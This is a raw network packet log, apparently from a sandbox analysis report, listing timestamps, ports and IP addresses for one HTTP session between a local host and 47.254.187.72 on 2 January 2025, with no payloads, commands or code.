Jan 2, 2025 20:20:04.020824909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020837069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020852089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020852089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020855904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020875931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020890951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020895004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020895004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020904064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020915985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020916939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020927906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020941973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020944118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020953894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020965099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020975113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.020982027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020992994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.020998955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021004915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021017075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021030903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021042109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021047115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021047115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021049023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021061897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021074057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021085978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021086931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021086931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021107912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021120071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021132946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021136999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021143913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021157026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021168947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021173954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021173954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021190882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021213055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.021215916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.021414042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.089770079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089782000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089792967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089804888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089818001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089828968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089838982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.089843988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.089886904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.089900970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110181093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110204935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110217094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110265970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110274076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110274076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110280991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110292912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110332012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110343933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110347033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110347033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110357046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110377073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110413074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110476017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110487938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110502958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110515118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110516071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110529900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110539913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110543966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110558033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110568047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110584021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110594988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110610008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110620975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110622883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110622883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110634089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110646963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110660076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110663891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110682011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110682964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110696077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110707998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110721111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110745907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110745907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110753059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110805035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110805035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110836029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110847950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110860109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110878944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110892057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110898972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110907078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110923052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110932112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110932112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110935926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110949993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110965014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.110987902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.110987902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111015081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111040115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111053944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111068010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111078978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111092091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111103058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111116886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111129045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111129999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111129999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111141920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111145020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111155033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111170053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111186028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111200094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111207008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111226082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111236095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111239910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111253023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111253023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111265898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111268044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111283064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111295938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111296892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111310959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111337900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111337900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111337900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111358881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111372948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111386061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111393929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111397982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111406088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111406088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111414909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111427069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111435890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111442089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111454964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111478090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111490011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111490011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111527920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111527920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111609936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111627102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111648083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111660957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111675978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111697912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111699104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111697912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111712933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111725092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111738920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111747026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111747026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111759901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111768961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111773014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111785889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111797094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111808062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111819029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111836910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111836910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111838102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111851931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111856937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111871958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111887932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111890078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111898899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111901999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111913919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111926079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111937046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111942053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111942053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.111948967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111963034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111974001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111987114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.111994982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112000942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112004995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112004995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112013102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112027884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112037897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112037897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112037897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112055063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112060070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112068892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112082958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112097979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112109900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112112045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112127066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.112145901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112145901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.112183094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.182394028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182408094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182423115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182507992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.182507992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.182728052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182739973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182751894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182771921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.182801008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.182898998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.182984114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.210714102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210733891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210747957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210758924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210772991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210778952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.210787058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210817099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.210858107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210870028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210875988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.210884094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210895061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210905075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210917950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210921049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.210921049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.210932016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210944891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.210961103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211014986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211034060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211046934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211059093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211069107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211081028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211083889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211127996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211169004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211179972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211180925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211191893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211203098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211213112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211221933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211221933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211226940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211240053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211251974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211258888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211263895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211276054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211288929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211294889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211311102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211322069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211333036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211333990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211349964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211366892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211366892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211397886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211476088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211488008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211502075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211513996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211524010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211524963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211544991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211556911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211564064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211570978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211586952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211591959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211591959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211601019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211627007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211636066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211647987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211658955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211662054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211672068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211697102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211740971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211806059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211817980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211827993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211841106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211853027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211863995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211870909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211872101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211884975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211896896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211908102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211935043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211935043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211951971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211963892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211973906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211977959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.211987019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.211998940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212011099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212011099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212011099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212054014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212054014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.212105036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212124109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212133884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212140083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212146997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.212150097 CET	49704	80	192.168.2.8	47.254.187.72
